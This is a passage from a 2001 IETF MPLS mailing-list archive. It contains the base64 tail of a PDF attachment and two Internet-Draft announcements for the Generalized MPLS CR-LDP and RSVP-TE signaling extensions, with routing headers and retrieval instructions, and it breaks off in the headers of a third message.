CjAwMDAxMDExMzEgMDAwMDAgbg0KMDAwMDEwMTkzMyAwMDAwMCBuDQowMDAwMTAxOTU1IDAwMDAw
IG4NCjAwMDAxMDI3NDcgMDAwMDAgbg0KMDAwMDEwMjc2OSAwMDAwMCBuDQowMDAwMTAzNTQyIDAw
MDAwIG4NCjAwMDAxMDM1NjQgMDAwMDAgbg0KMDAwMDEwNDMyNSAwMDAwMCBuDQowMDAwMTA0MzQ3
IDAwMDAwIG4NCjAwMDAxMDUxMTUgMDAwMDAgbg0KMDAwMDEwNTEzNyAwMDAwMCBuDQowMDAwMTA1
OTE4IDAwMDAwIG4NCjAwMDAxMDU5NDAgMDAwMDAgbg0KMDAwMDEwNjU2OCAwMDAwMCBuDQowMDAw
MTA2NTkwIDAwMDAwIG4NCjAwMDAxMDczODQgMDAwMDAgbg0KMDAwMDEwNzQwNiAwMDAwMCBuDQow
MDAwMTA4MTYyIDAwMDAwIG4NCjAwMDAxMDgxODQgMDAwMDAgbg0KMDAwMDEwODk3MyAwMDAwMCBu
DQowMDAwMTA4OTk1IDAwMDAwIG4NCjAwMDAxMDk3NzcgMDAwMDAgbg0KMDAwMDEwOTc5OSAwMDAw
MCBuDQowMDAwMTEwNjAxIDAwMDAwIG4NCjAwMDAxMTA2MjMgMDAwMDAgbg0KMDAwMDExMTM4NiAw
MDAwMCBuDQowMDAwMTExNDA4IDAwMDAwIG4NCjAwMDAxMTIyMDIgMDAwMDAgbg0KMDAwMDExMjIy
NCAwMDAwMCBuDQowMDAwMTEyOTYyIDAwMDAwIG4NCjAwMDAxMTI5ODQgMDAwMDAgbg0KMDAwMDEx
Mzc5MSAwMDAwMCBuDQowMDAwMTEzODEzIDAwMDAwIG4NCjAwMDAxMTQ1NzYgMDAwMDAgbg0KMDAw
MDExNDU5OCAwMDAwMCBuDQowMDAwMTE1MzU5IDAwMDAwIG4NCjAwMDAxMTUzODEgMDAwMDAgbg0K
MDAwMDExNjE1MiAwMDAwMCBuDQowMDAwMTE2MTc0IDAwMDAwIG4NCjAwMDAxMTY4NjMgMDAwMDAg
bg0KMDAwMDExNjg4NSAwMDAwMCBuDQowMDAwMTE3NTY0IDAwMDAwIG4NCjAwMDAxMTc1ODYgMDAw
MDAgbg0KMDAwMDExODIzNCAwMDAwMCBuDQowMDAwMTE4MjU2IDAwMDAwIG4NCjAwMDAxMTg4Nzgg
MDAwMDAgbg0KMDAwMDExODkwMCAwMDAwMCBuDQowMDAwMTE5NTA3IDAwMDAwIG4NCjAwMDAxMTk1
MjkgMDAwMDAgbg0KMDAwMDEyMDE0NiAwMDAwMCBuDQowMDAwMTIwMTY4IDAwMDAwIG4NCjAwMDAx
MjA3ODAgMDAwMDAgbg0KMDAwMDEyMDgwMiAwMDAwMCBuDQowMDAwMTIxMzY1IDAwMDAwIG4NCjAw
MDAxMjEzODcgMDAwMDAgbg0KMDAwMDEyMjAyNyAwMDAwMCBuDQowMDAwMTIyMDQ5IDAwMDAwIG4N
CjAwMDAxMjI3MzggMDAwMDAgbg0KMDAwMDEyMjc2MCAwMDAwMCBuDQowMDAwMTIzNDg3IDAwMDAw
IG4NCjAwMDAxMjM1MDkgMDAwMDAgbg0KMDAwMDEyNDM1OCAwMDAwMCBuDQowMDAwMTI0MzgwIDAw
MDAwIG4NCjAwMDAxMjUyMTggMDAwMDAgbg0KMDAwMDEyNTI0MCAwMDAwMCBuDQowMDAwMTI1ODY5
IDAwMDAwIG4NCjAwMDAxMjU4OTEgMDAwMDAgbg0KMDAwMDEyNjczOSAwMDAwMCBuDQowMDAwMTI2
NzYxIDAwMDAwIG4NCjAwMDAxMjc1ODIgMDAwMDAgbg0KMDAwMDEyNzYwNCAwMDAwMCBuDQowMDAw
MTI4NDIzIDAwMDAwIG4NCjAwMDAxMjg0NDUgMDAwMDAgbg0KMDAwMDEyOTMwMCAwMDAwMCBuDQow
MDAwMTI5MzIyIDAwMDAwIG4NCjAwMDAxMjk5NzEgMDAwMDAgbg0KMDAwMDEyOTk5MyAwMDAwMCBu
DQowMDAwMTMwNjM4IDAwMDAwIG4NCjAwMDAxMzA2NjAgMDAwMDAgbg0KMDAwMDEzMTMwNyAwMDAw
MCBuDQowMDAwMTMxMzI5IDAwMDAwIG4NCjAwMDAxMzE5ODcgMDAwMDAgbg0KMDAwMDEzMjAwOSAw
MDAwMCBuDQowMDAwMTMyNjU2IDAwMDAwIG4NCjAwMDAxMzI2NzggMDAwMDAgbg0KMDAwMDEzMzMy
NSAwMDAwMCBuDQowMDAwMTMzMzQ3IDAwMDAwIG4NCjAwMDAxMzQwNDcgMDAwMDAgbg0KMDAwMDEz
NDA2OSAwMDAwMCBuDQowMDAwMTM0NjU3IDAwMDAwIG4NCjAwMDAxMzQ2NzkgMDAwMDAgbg0KMDAw
MDEzNTI3NyAwMDAwMCBuDQowMDAwMTM1Mjk5IDAwMDAwIG4NCjAwMDAxMzU4NzUgMDAwMDAgbg0K
MDAwMDEzNTg5NyAwMDAwMCBuDQowMDAwMTM2NTM4IDAwMDAwIG4NCjAwMDAxMzY1NjAgMDAwMDAg
bg0KMDAwMDEzNzM3NCAwMDAwMCBuDQowMDAwMTM3Mzk2IDAwMDAwIG4NCjAwMDAxMzgyMDAgMDAw
MDAgbg0KMDAwMDEzODIyMiAwMDAwMCBuDQowMDAwMTM4ODczIDAwMDAwIG4NCjAwMDAxMzg4OTUg
MDAwMDAgbg0KMDAwMDEzOTU0NyAwMDAwMCBuDQowMDAwMTM5NTY5IDAwMDAwIG4NCjAwMDAxNDA0
NTEgMDAwMDAgbg0KMDAwMDE0MDQ3MyAwMDAwMCBuDQowMDAwMTQxMzMzIDAwMDAwIG4NCjAwMDAx
NDEzNTUgMDAwMDAgbg0KMDAwMDE0MjAwMCAwMDAwMCBuDQowMDAwMTQyMDIyIDAwMDAwIG4NCjAw
MDAxNDI2NzYgMDAwMDAgbg0KMDAwMDE0MjY5OCAwMDAwMCBuDQowMDAwMTQzNDk1IDAwMDAwIG4N
CjAwMDAxNDM1MTcgMDAwMDAgbg0KMDAwMDE0NDMxNCAwMDAwMCBuDQowMDAwMTQ0MzM2IDAwMDAw
IG4NCjAwMDAxNDUxMjYgMDAwMDAgbg0KMDAwMDE0NTE0OCAwMDAwMCBuDQowMDAwMTQ1OTI0IDAw
MDAwIG4NCjAwMDAxNDU5NDYgMDAwMDAgbg0KMDAwMDE0NjY4OCAwMDAwMCBuDQowMDAwMTQ2NzEw
IDAwMDAwIG4NCjAwMDAxNDczNDIgMDAwMDAgbg0KMDAwMDE0NzM2NCAwMDAwMCBuDQowMDAwMTQ3
OTcwIDAwMDAwIG4NCjAwMDAxNDc5OTIgMDAwMDAgbg0KMDAwMDE0ODYzOCAwMDAwMCBuDQowMDAw
MTQ4NjYwIDAwMDAwIG4NCjAwMDAxNDkyOTggMDAwMDAgbg0KMDAwMDE0OTUzOCAwMDAwMCBuDQow
MDAwMTQ5NTkzIDAwMDAwIG4NCjAwMDAxNDk2MTUgMDAwMDAgbg0KMDAwMDE1MDAyNSAwMDAwMCBu
DQowMDAwMTUwMDQ4IDAwMDAwIG4NCjAwMDAxNTE0MDQgMDAwMDAgbg0KMDAwMDE1MTY1NiAwMDAw
MCBuDQowMDAwMTUxNzAzIDAwMDAwIG4NCjAwMDAxNTE3MjUgMDAwMDAgbg0KMDAwMDE1MjEzNSAw
MDAwMCBuDQowMDAwMTUyMTU3IDAwMDAwIG4NCjAwMDAxNTI4MjcgMDAwMDAgbg0KMDAwMDE1MzA2
NyAwMDAwMCBuDQowMDAwMTUzMTE0IDAwMDAwIG4NCjAwMDAxNTMxMzYgMDAwMDAgbg0KMDAwMDE1
MzU0NiAwMDAwMCBuDQowMDAwMTUzNTY4IDAwMDAwIG4NCjAwMDAxNTQwNjkgMDAwMDAgbg0KMDAw
MDE1NDMwOSAwMDAwMCBuDQowMDAwMTU0MzU2IDAwMDAwIG4NCjAwMDAxNTQzNzggMDAwMDAgbg0K
MDAwMDE1NDc4NSAwMDAwMCBuDQowMDAwMTU0ODA3IDAwMDAwIG4NCjAwMDAxNTU1ODAgMDAwMDAg
bg0KMDAwMDE1NTgzMiAwMDAwMCBuDQowMDAwMTU1ODc5IDAwMDAwIG4NCjAwMDAxNTU5MDEgMDAw
MDAgbg0KMDAwMDE1NjMwOCAwMDAwMCBuDQowMDAwMTU2MzMwIDAwMDAwIG4NCjAwMDAxNTcxMzMg
MDAwMDAgbg0KMDAwMDE1NzM4NSAwMDAwMCBuDQowMDAwMTU3NDMyIDAwMDAwIG4NCjAwMDAxNTc0
NTQgMDAwMDAgbg0KMDAwMDE1Nzg2MSAwMDAwMCBuDQowMDAwMTU3ODgzIDAwMDAwIG4NCjAwMDAx
NTg2MTIgMDAwMDAgbg0KMDAwMDE1ODg2NCAwMDAwMCBuDQowMDAwMTU4OTExIDAwMDAwIG4NCjAw
MDAxNTg5MzMgMDAwMDAgbg0KMDAwMDE1OTM0MCAwMDAwMCBuDQowMDAwMTU5MzYyIDAwMDAwIG4N
CjAwMDAxNTk5ODAgMDAwMDAgbg0KMDAwMDE2MDIyMCAwMDAwMCBuDQowMDAwMTYwMjY3IDAwMDAw
IG4NCjAwMDAxNjAyODkgMDAwMDAgbg0KMDAwMDE2MDY5NiAwMDAwMCBuDQowMDAwMTYwNzE4IDAw
MDAwIG4NCjAwMDAxNjEyMDMgMDAwMDAgbg0KMDAwMDE2MTQ0MyAwMDAwMCBuDQowMDAwMTYxNDkw
IDAwMDAwIG4NCjAwMDAxNjE1MTIgMDAwMDAgbg0KMDAwMDE2MTkxOSAwMDAwMCBuDQowMDAwMTYx
OTQxIDAwMDAwIG4NCjAwMDAxNjI2NTYgMDAwMDAgbg0KMDAwMDE2MjkyMCAwMDAwMCBuDQowMDAw
MTYyOTY3IDAwMDAwIG4NCjAwMDAxNjI5ODkgMDAwMDAgbg0KMDAwMDE2MzM5NiAwMDAwMCBuDQow
MDAwMTYzNDE5IDAwMDAwIG4NCjAwMDAxNjQ3MjYgMDAwMDAgbg0KMDAwMDE2NDk3OCAwMDAwMCBu
DQowMDAwMTY1MDI1IDAwMDAwIG4NCjAwMDAxNjUwNDcgMDAwMDAgbg0KMDAwMDE2NTQ1NCAwMDAw
MCBuDQowMDAwMTY1NDc3IDAwMDAwIG4NCjAwMDAxNjY2NDIgMDAwMDAgbg0KMDAwMDE2Njg5NCAw
MDAwMCBuDQowMDAwMTY2OTQxIDAwMDAwIG4NCjAwMDAxNjY5NjMgMDAwMDAgbg0KMDAwMDE2NzM3
MCAwMDAwMCBuDQowMDAwMTY3MzkzIDAwMDAwIG4NCjAwMDAxNjg2MTUgMDAwMDAgbg0KMDAwMDE2
ODg3OSAwMDAwMCBuDQowMDAwMTY4OTI2IDAwMDAwIG4NCjAwMDAxNjg5NDggMDAwMDAgbg0KMDAw
MDE2OTM1NSAwMDAwMCBuDQowMDAwMTY5Mzc4IDAwMDAwIG4NCjAwMDAxNzA1MDcgMDAwMDAgbg0K
MDAwMDE3MDc1OSAwMDAwMCBuDQowMDAwMTcwODA2IDAwMDAwIG4NCjAwMDAxNzA4MjggMDAwMDAg
bg0KMDAwMDE3MTIzNSAwMDAwMCBuDQowMDAwMTcxMjU3IDAwMDAwIG4NCjAwMDAxNzIwMjcgMDAw
MDAgbg0KMDAwMDE3MjI3OSAwMDAwMCBuDQowMDAwMTcyMzI2IDAwMDAwIG4NCjAwMDAxNzIzNDgg
MDAwMDAgbg0KMDAwMDE3Mjc1NSAwMDAwMCBuDQowMDAwMTcyNzc3IDAwMDAwIG4NCjAwMDAxNzM3
NjggMDAwMDAgbg0KMDAwMDE3NDAzMiAwMDAwMCBuDQowMDAwMTc0MDc5IDAwMDAwIG4NCjAwMDAx
NzQxMDEgMDAwMDAgbg0KMDAwMDE3NDUwOCAwMDAwMCBuDQowMDAwMTc0NTMwIDAwMDAwIG4NCjAw
MDAxNzU2MDYgMDAwMDAgbg0KMDAwMDE3NTg1OCAwMDAwMCBuDQowMDAwMTc1OTA1IDAwMDAwIG4N
CjAwMDAxNzU5MjcgMDAwMDAgbg0KMDAwMDE3NjMzNCAwMDAwMCBuDQowMDAwMTc2MzU2IDAwMDAw
IG4NCjAwMDAxNzczNjEgMDAwMDAgbg0KMDAwMDE3NzYwMSAwMDAwMCBuDQowMDAwMTc3NjQ4IDAw
MDAwIG4NCjAwMDAxNzc2NzAgMDAwMDAgbg0KMDAwMDE3ODA3NyAwMDAwMCBuDQowMDAwMTc4MDk5
IDAwMDAwIG4NCjAwMDAxNzg3MzIgMDAwMDAgbg0KMDAwMDE3ODk5NiAwMDAwMCBuDQowMDAwMTc5
MDQzIDAwMDAwIG4NCjAwMDAxNzkwNjUgMDAwMDAgbg0KMDAwMDE3OTQ3MiAwMDAwMCBuDQowMDAw
MTc5NDk0IDAwMDAwIG4NCjAwMDAxODAyNTAgMDAwMDAgbg0KMDAwMDE4MDUwMiAwMDAwMCBuDQow
MDAwMTgwNTQ5IDAwMDAwIG4NCjAwMDAxODA1NzEgMDAwMDAgbg0KMDAwMDE4MDk3OCAwMDAwMCBu
DQowMDAwMTgxMDAxIDAwMDAwIG4NCjAwMDAxODIxODkgMDAwMDAgbg0KMDAwMDE4MjQ1MyAwMDAw
MCBuDQowMDAwMTgyNTAwIDAwMDAwIG4NCjAwMDAxODI1MjIgMDAwMDAgbg0KMDAwMDE4MjkyOSAw
MDAwMCBuDQowMDAwMTgyOTUxIDAwMDAwIG4NCjAwMDAxODM3NzEgMDAwMDAgbg0KMDAwMDE4NDAy
MyAwMDAwMCBuDQowMDAwMTg0MDcwIDAwMDAwIG4NCjAwMDAxODQwOTIgMDAwMDAgbg0KMDAwMDE4
NDQ5OSAwMDAwMCBuDQowMDAwMTg0NTIyIDAwMDAwIG4NCjAwMDAxODU3NzkgMDAwMDAgbg0KMDAw
MDE4NjAzMSAwMDAwMCBuDQowMDAwMTg2MDc4IDAwMDAwIG4NCjAwMDAxODYxMDAgMDAwMDAgbg0K
MDAwMDE4NjUwNyAwMDAwMCBuDQowMDAwMTg2NTI5IDAwMDAwIG4NCjAwMDAxODc0NTggMDAwMDAg
bg0KMDAwMDE4NzY5OCAwMDAwMCBuDQowMDAwMTg3NzQ1IDAwMDAwIG4NCjAwMDAxODc3NjcgMDAw
MDAgbg0KMDAwMDE4ODE3MyAwMDAwMCBuDQowMDAwMTg4MTk1IDAwMDAwIG4NCjAwMDAxODkyMTIg
MDAwMDAgbg0KMDAwMDE4OTQzOSAwMDAwMCBuDQowMDAwMTg5NDg2IDAwMDAwIG4NCjAwMDAxODk1
MDggMDAwMDAgbg0KMDAwMDE4OTkxNCAwMDAwMCBuDQowMDAwMTg5OTM2IDAwMDAwIG4NCjAwMDAx
OTA1MzQgMDAwMDAgbg0KMDAwMDE5MDc5OCAwMDAwMCBuDQowMDAwMTkwODQ1IDAwMDAwIG4NCjAw
MDAxOTA4NjcgMDAwMDAgbg0KMDAwMDE5MTI3MyAwMDAwMCBuDQowMDAwMTkxMjk2IDAwMDAwIG4N
CjAwMDAxOTI4NzQgMDAwMDAgbg0KMDAwMDE5MzEyNiAwMDAwMCBuDQowMDAwMTkzMTczIDAwMDAw
IG4NCjAwMDAxOTMxOTUgMDAwMDAgbg0KMDAwMDE5MzYwMSAwMDAwMCBuDQowMDAwMTkzNjIzIDAw
MDAwIG4NCjAwMDAxOTQ1MzcgMDAwMDAgbg0KMDAwMDE5NDc4OSAwMDAwMCBuDQowMDAwMTk0ODM2
IDAwMDAwIG4NCjAwMDAxOTQ4NTggMDAwMDAgbg0KMDAwMDE5NTI2NSAwMDAwMCBuDQowMDAwMTk1
Mjg3IDAwMDAwIG4NCjAwMDAxOTYzMjkgMDAwMDAgbg0KMDAwMDE5NjU4MSAwMDAwMCBuDQowMDAw
MTk2NjI4IDAwMDAwIG4NCjAwMDAxOTY2NTAgMDAwMDAgbg0KMDAwMDE5NzA1NiAwMDAwMCBuDQow
MDAwMTk3MDc5IDAwMDAwIG4NCjAwMDAxOTg1MjUgMDAwMDAgbg0KMDAwMDE5ODc2NSAwMDAwMCBu
DQowMDAwMTk4ODEyIDAwMDAwIG4NCjAwMDAxOTg4MzQgMDAwMDAgbg0KMDAwMDE5OTI0MCAwMDAw
MCBuDQowMDAwMTk5MjYyIDAwMDAwIG4NCjAwMDAyMDAwNDUgMDAwMDAgbg0KMDAwMDIwMDI4NSAw
MDAwMCBuDQowMDAwMjAwMzMyIDAwMDAwIG4NCjAwMDAyMDAzNTQgMDAwMDAgbg0KMDAwMDIwMDc2
MCAwMDAwMCBuDQowMDAwMjAwNzgyIDAwMDAwIG4NCjAwMDAyMDEzMzEgMDAwMDAgbg0KMDAwMDIw
MTU3MSAwMDAwMCBuDQowMDAwMjAxNjE4IDAwMDAwIG4NCjAwMDAyMDE2NDAgMDAwMDAgbg0KMDAw
MDIwMjA0NiAwMDAwMCBuDQowMDAwMjAyMDY4IDAwMDAwIG4NCjAwMDAyMDIzOTYgMDAwMDAgbg0K
MDAwMDIwNjU1NyAwMDAwMCBuDQowMDAwMjA2NTgwIDAwMDAwIG4NCjAwMDAyMDc2ODAgMDAwMDAg
bg0KMDAwMDIwNzk1OSAwMDAwMCBuDQowMDAwMjA5MDU2IDAwMDAwIG4NCjAwMDAyMDkzMzMgMDAw
MDAgbg0KMDAwMDIxMDQzNSAwMDAwMCBuDQowMDAwMjEwNzIwIDAwMDAwIG4NCjAwMDAyMTI4OTQg
MDAwMDAgbg0KMDAwMDIxMjkxNyAwMDAwMCBuDQowMDAwMjEzMDExIDAwMDAwIG4NCjAwMDAyMTMw
MzIgMDAwMDAgbg0KMDAwMDIxMzM3MSAwMDAwMCBuDQowMDAwMjEzNDg5IDAwMDAwIG4NCjAwMDAy
MTM2MTQgMDAwMDAgbg0KMDAwMDIxMzczOSAwMDAwMCBuDQowMDAwMjEzODY0IDAwMDAwIG4NCjAw
MDAyMTM5ODkgMDAwMDAgbg0KMDAwMDIxNDExNCAwMDAwMCBuDQowMDAwMjE0MjA3IDAwMDAwIG4N
CjAwMDAyMTQzMzMgMDAwMDAgbg0KMDAwMDIxNDQxOCAwMDAwMCBuDQp0cmFpbGVyDTw8DS9TaXpl
IDg5OQ0vSURbPDBhMDE1M2ZjZTdhNzU0ZDAyMzIxNTNkMmE2MzUyYTAyPjwwYTAxNTNmY2U3YTc1
NGQwMjMyMTUzZDJhNjM1MmEwMj5dDT4+DXN0YXJ0eHJlZg0xNzMNJSVFT0YN

------_=_NextPart_000_01C0D3BA.F6C35C70--


From owner-mpls@UU.NET  Thu May  3 07:31:17 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id HAA19081
	for <mpls-archive@lists.ietf.org>; Thu, 3 May 2001 07:31:16 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQknkf13224;
	Thu, 3 May 2001 11:29:02 GMT
Received: by mail-control.mail.uu.net 
	id QQknkf13517
	for mpls-outgoing; Thu, 3 May 2001 11:28:29 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQknkf13509
	for <mpls@mail-control.mail.uu.net>; Thu, 3 May 2001 11:28:15 GMT
Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQknkf00457
	for <mpls@uu.net>; Thu, 3 May 2001 11:26:34 GMT
Received: from mill.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mill.cisco.com [161.44.131.47])
	id QQknkf00749
	for <mpls@uu.net>; Thu, 3 May 2001 11:26:33 GMT
Received: (erosen@localhost) by mill.cisco.com (8.8.5-Cisco.1/8.6.5) id HAA09298 for mpls@uu.net; Thu, 3 May 2001 07:26:33 -0400 (EDT)
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQknkf13285
	for <mpls@mail-control.mail.uu.net>; Thu, 3 May 2001 11:25:49 GMT
Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQknkf27145
	for <mpls@uu.net>; Thu, 3 May 2001 11:25:26 GMT
Received: from ietf.org by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: odin.ietf.org [132.151.1.176])
	id QQknkf09463
	for <mpls@uu.net>; Thu, 3 May 2001 11:25:26 GMT
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA18822;
	Thu, 3 May 2001 07:25:24 -0400 (EDT)
Message-Id: <200105031125.HAA18822@ietf.org>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce:;
Cc: mpls@UU.NET
From: Internet-Drafts@ietf.org
Reply-to: Internet-Drafts@ietf.org
Subject: I-D ACTION:draft-ietf-mpls-generalized-cr-ldp-03.txt
Date: Thu, 03 May 2001 07:25:24 -0400
Sender: owner-mpls@UU.NET
Precedence: bulk

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the Multiprotocol Label Switching Working Group of the IETF.

	Title		: Generalized MPLS Signaling - CR-LDP Extensions
	Author(s)	: P. Ashwood-Smith et al.
	Filename	: draft-ietf-mpls-generalized-cr-ldp-03.txt
	Pages		: 15
	Date		: 02-May-01
	
This document describes extensions to CR-LDP signaling required to
support Generalized MPLS.  Generalized MPLS extends MPLS to encompass
time-division (e.g. SONET ADMs), wavelength (optical lambdas) and
spatial switching (e.g. incoming port or fiber to outgoing port or
fiber).  This document presents a CR-LDP specific description of the
extensions.  An RSVP-TE specific description can be found in [GMPLS-
RSVP].  A generic functional description is presented in [GMPLS-SIG].

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-ietf-mpls-generalized-cr-ldp-03.txt

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-ietf-mpls-generalized-cr-ldp-03.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html 
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt


Internet-Drafts can also be obtained by e-mail.

Send a message to:
	mailserv@ietf.org.
In the body type:
	"FILE /internet-drafts/draft-ietf-mpls-generalized-cr-ldp-03.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="mailserv@ietf.org"

Content-Type: text/plain
Content-ID:	<20010502120455.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-ietf-mpls-generalized-cr-ldp-03.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-ietf-mpls-generalized-cr-ldp-03.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<20010502120455.I-D@ietf.org>

--OtherAccess--

--NextPart--




From owner-mpls@UU.NET  Thu May  3 07:32:16 2001
Received: from cmr1.ash.ops.us.uu.net ([198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id HAA19100
	for <mpls-archive@lists.ietf.org>; Thu, 3 May 2001 07:32:15 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQknkg21079;
	Thu, 3 May 2001 11:30:14 GMT
Received: by mail-control.mail.uu.net 
	id QQknkf13523
	for mpls-outgoing; Thu, 3 May 2001 11:28:34 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQknkf13507
	for <mpls@mail-control.mail.uu.net>; Thu, 3 May 2001 11:28:13 GMT
Received: from cmr2.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQknkf13771
	for <mpls@uu.net>; Thu, 3 May 2001 11:27:33 GMT
Received: from mill.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mill.cisco.com [161.44.131.47])
	id QQknkf11571
	for <mpls@uu.net>; Thu, 3 May 2001 11:27:33 GMT
Received: (erosen@localhost) by mill.cisco.com (8.8.5-Cisco.1/8.6.5) id HAA09344 for mpls@uu.net; Thu, 3 May 2001 07:27:33 -0400 (EDT)
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQknkf13454
	for <mpls@mail-control.mail.uu.net>; Thu, 3 May 2001 11:26:54 GMT
Received: from cmr2.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQknkf06902
	for <mpls@uu.net>; Thu, 3 May 2001 11:25:31 GMT
Received: from ietf.org by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: odin.ietf.org [132.151.1.176])
	id QQknkf09539
	for <mpls@uu.net>; Thu, 3 May 2001 11:25:31 GMT
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA18838;
	Thu, 3 May 2001 07:25:29 -0400 (EDT)
Message-Id: <200105031125.HAA18838@ietf.org>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce:;
Cc: mpls@UU.NET
From: Internet-Drafts@ietf.org
Reply-to: Internet-Drafts@ietf.org
Subject: I-D ACTION:draft-ietf-mpls-generalized-rsvp-te-03.txt
Date: Thu, 03 May 2001 07:25:29 -0400
Sender: owner-mpls@UU.NET
Precedence: bulk

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the Multiprotocol Label Switching Working Group of the IETF.

	Title		: Generalized MPLS Signaling - RSVP-TE Extensions
	Author(s)	: P. Ashwood-Smith et al.
	Filename	: draft-ietf-mpls-generalized-rsvp-te-03.txt
	Pages		: 23
	Date		: 02-May-01
	
This document describes extensions to RSVP-TE signaling required to
support Generalized MPLS.  Generalized MPLS extends MPLS to encompass
time-division (e.g. SONET ADMs), wavelength (optical lambdas) and
spatial switching (e.g. incoming port or fiber to outgoing port or
fiber).  This document presents an RSVP-TE specific description of
the extensions.  A CR-LDP specific description can be found in
[GMPLS-LDP].  A generic functional description is presented in
[GMPLS-SIG].

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-ietf-mpls-generalized-rsvp-te-03.txt

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-ietf-mpls-generalized-rsvp-te-03.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html 
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt


Internet-Drafts can also be obtained by e-mail.

Send a message to:
	mailserv@ietf.org.
In the body type:
	"FILE /internet-drafts/draft-ietf-mpls-generalized-rsvp-te-03.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="mailserv@ietf.org"

Content-Type: text/plain
Content-ID:	<20010502120507.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-ietf-mpls-generalized-rsvp-te-03.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-ietf-mpls-generalized-rsvp-te-03.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<20010502120507.I-D@ietf.org>

--OtherAccess--

--NextPart--




From owner-mpls@UU.NET  Thu May  3 07:34:52 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id HAA19127
	for <mpls-archive@lists.ietf.org>; Thu, 3 May 2001 07:34:52 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQknkg16478;
	Thu, 3 May 2001 11:31:41 GMT
Received: by mail-control.mail.uu.net 
	id QQknkg13727
